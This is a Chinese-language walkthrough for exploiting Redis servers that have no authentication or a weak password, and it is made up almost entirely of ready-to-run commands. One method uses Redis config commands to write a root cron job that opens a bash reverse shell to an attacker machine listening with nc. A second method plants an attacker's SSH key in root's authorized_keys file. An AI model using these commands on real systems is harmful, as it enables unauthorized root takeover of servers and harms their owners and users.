背景:
redis無認證,或者弱密碼,可以成功連接到redis服務器
反彈shell拿到的權限取決於redis的啟動賬號
操作:
1. Centos7安裝redis客戶端
#yum install redis --查看是否有redis yum 源 #yum install epel-release --下載fedora的epel倉庫 # yum install redis -- 安裝redis數據庫
【漏洞利用方法1 寫crontab,反彈shell】
2.連接redis服務器,執行命令
#redis-cli -h 10.1.1.2 -a 123456 //如果沒有密碼,不用添加-a參數 10.1.1.2:6379> config set dir /var/spool/cron OK 10.1.1.2:6379> config set dbfilename root OK 10.1.1.2:6379> set xxoo "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n" 10.1.1.2:6379>save OK
上面的方法是需要先連接到redis服務器,然后再執行命令,也可以直接執行命令,無需連接
#echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"|redis-cli -h 192.168.118.129 -a 123456 -x set 1 #redis-cli -h 192.168.118.129 -a 123456 config set dir /var/spool/cron/ #redis-cli -h 192.168.118.129 -a 123456 config set dbfilename root #redis-cli -h 192.168.118.129 -a 123456 save
3.在 10.1.1.1上執行
#nc -l -p 1234 -vv //監聽1234端口
很快就能收到shell
【漏洞利用方法2 寫authorized_keys 實現無密碼登錄】
執行命令如下:
127.0.0.1:6379>flushall OK 127.0.0.1:6379>config set dir /root/.ssh/ OK 127.0.0.1:6379>config set dbfilename authorized_keys OK 127.0.0.1:6379>set xxoo "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxna91qSLsy9sbYSZNYMpe0root@localhost.localdomain\n\n" OK 127.0.0.1:6379>save OK
然后ssh 連接目標服務器即可